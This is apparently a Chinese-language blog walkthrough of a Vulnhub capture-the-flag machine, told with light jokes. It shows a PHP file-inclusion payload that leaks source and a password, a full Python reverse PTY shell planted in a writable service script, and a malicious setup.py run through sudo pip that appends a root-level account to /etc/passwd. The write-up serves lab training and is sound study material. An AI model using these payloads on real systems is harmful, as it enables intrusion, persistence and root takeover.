带妹玩转Vulnhub【七】
前言
国庆第一天,不太想撩妹,再写点东西,增加点产量,严肃脸?
开始
主机发现
netdiscover -r 192.168.43.0/24
端口扫描
nmap -A -p- -T4 192.168.43.76
渗透测试
子目录扫描
访问80
,扫到的每个页面都看一下,以及源代码。
可以知道作者为mamadou
而且这里存在文件包含漏洞(现学现卖)参考链接
经过各种尝试,最终使用如下payload
http://192.168.43.76/?lang=php://filter/convert.base64-encode/resource=index
可以得到一段base64
加密代码,这应该就是index.php
的源代码
PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=
这里除了可以通过正常访问网页来获取代码,也可以使用curl
工具。
命令如下curl http://192.168.43.76/?lang=php://filter/convert.base64-encode/resource=index
这样便可以较为方便得到base64
加密的代码
解密后得到
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Vibranium market">
<meta name="author" content="mamadou">
<title>Vibranium Market</title>
<link href="bootstrap.css" rel="stylesheet">
<link href="cover.css" rel="stylesheet">
</head>
<body class="text-center">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">Vibranium Market</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="#">Home</a>
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
</nav>
</div>
</header>
<main role="main" class="inner cover">
<h1 class="cover-heading">Coming soon</h1>
<p class="lead">
<?php
if (isset($_GET['lang']))
{
echo $message;
}
else
{
?>
Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
<?php
}
?>
</p>
<p class="lead">
<a href="#" class="btn btn-lg btn-secondary">Learn more</a>
</p>
</main>
<footer class="mastfoot mt-auto">
<div class="inner">
<p>Made by<a href="#">@mamadou</a></p>
</div>
</footer>
</div>
</body></html>
从源代码中很明显的可以看到一个文件包含漏洞,并且获得了密码Niamey4Ever227!!!
,尝试ssh
登陆,得到一个python的shell
通过一些简单的代码,便可以获得tty
import pty
pty.spawn("/bin/bash")
很轻易的可以发现几个falg
,但是有一个我们当前用户似乎没有权限。
我尝试全局搜索flag
关键字,这里提到一个搜索的技巧find / -name flag 2>/dev/null
这样就可以避免很多报错
我尝试查看devops
用户所在的组:
就我们现在手里所拥有的信息来看,想要**出devops
用户的密码似乎不太可能。但是可以看到devops
用户和组号是不同的,因此我们可以尝试往1002
组中添加一个用户。
因此我们尝试搜索所属1002
组的文件find / -group 1002 2>/dev/null
这里发现一个十分可疑的文件/srv/.antivirus.py
,该文件对其他用户是可读写的,并且我们可以使用pyhton
运行一个脚本。
因此我们完全可以写一个反向shell,这样我们便拥有了devops
用户的权限,这大概就是因为权限设置错误而导致大致命问题吧!
代码如下:
参考链接
#!/usr/bin/python2
"""
Reverse Connect TCP PTY Shell - v1.0
infodox - insecurety.net (2013)
Gives a reverse connect PTY over TCP.
For an excellent listener use the following socat command:
socat file:`tty`,echo=0,raw tcp4-listen:PORT
Or use the included tcp_pty_shell_handler.py
"""
import os
import pty
import socket
lhost = "127.0.0.1" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
我们需要使用devops
用户运行该python
代码,要知道服务器上不会平白无故出现一些不该出现的文件,我们继续搜索
grep -rnw / -e '.antivirus.py' 2>/dev/null
似乎antivirus.service
服务会运行该脚本,我们使用nc -lvp 2333
监听2333
端口,过一会便自动连接上了(本来我还想重启该服务,看来是不需要了?)
这样我们便拿到了一个flag
仅仅拥有devops
用户的权限还远不够,我们需要获取root
权限,才能达到终极目的。
通过sudo -l
,我们可以知道该用户可以使用root
权限运行pip
命令,这真是令人又惊又喜。
就我们熟悉的,可以使用pip setup.py install
命令来安装一个模块,那么我们完全可以模仿着写一个。
参考链接
代码如下:
#!/usr/bin/python
#Rename to setup.py before use
#Run: sudo /usr/bin/pip install . --upgrade --force-reinstall
#Get root shell: su delo
#password is dsrrocks
from setuptools import setup
from setuptools.command.install import install
import os
class CustomInstall(install):
def run(self):
install.run(self)
os.system('echo delo:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh >> /etc/passwd')
setup(name='delopip',
version='1.1.1',
description='exploit sudo pip permissions',
url='https://github.com/delosec',
author='delo',
author_email='[email protected]',
license='MIT',
zip_safe=False,
cmdclass={'install':CustomInstall})
我们可以使用python
内置的http
服务器开启一个文件服务python -m SimpleHTTPServer 8080
成功运行sudo /usr/bin/pip install . --upgrade --force-reinstall
后,我们便将delo
用户添加到root
用户组了。
而后我们可以使用su delo
进行登陆,此时的我即具备了root
权限。
#总结
该靶场让我更加深入的理解了,对于linux
系统权限配置的重要性,原来一个不小心权限的滥用,会最终导致root
权限被攻克,看来以后在打awd
可以仔细的思考下?主办方的权限配置问题了!?
今天没有妹子的告白
带妹是不可能带妹的,这辈子都不可能带妹的。?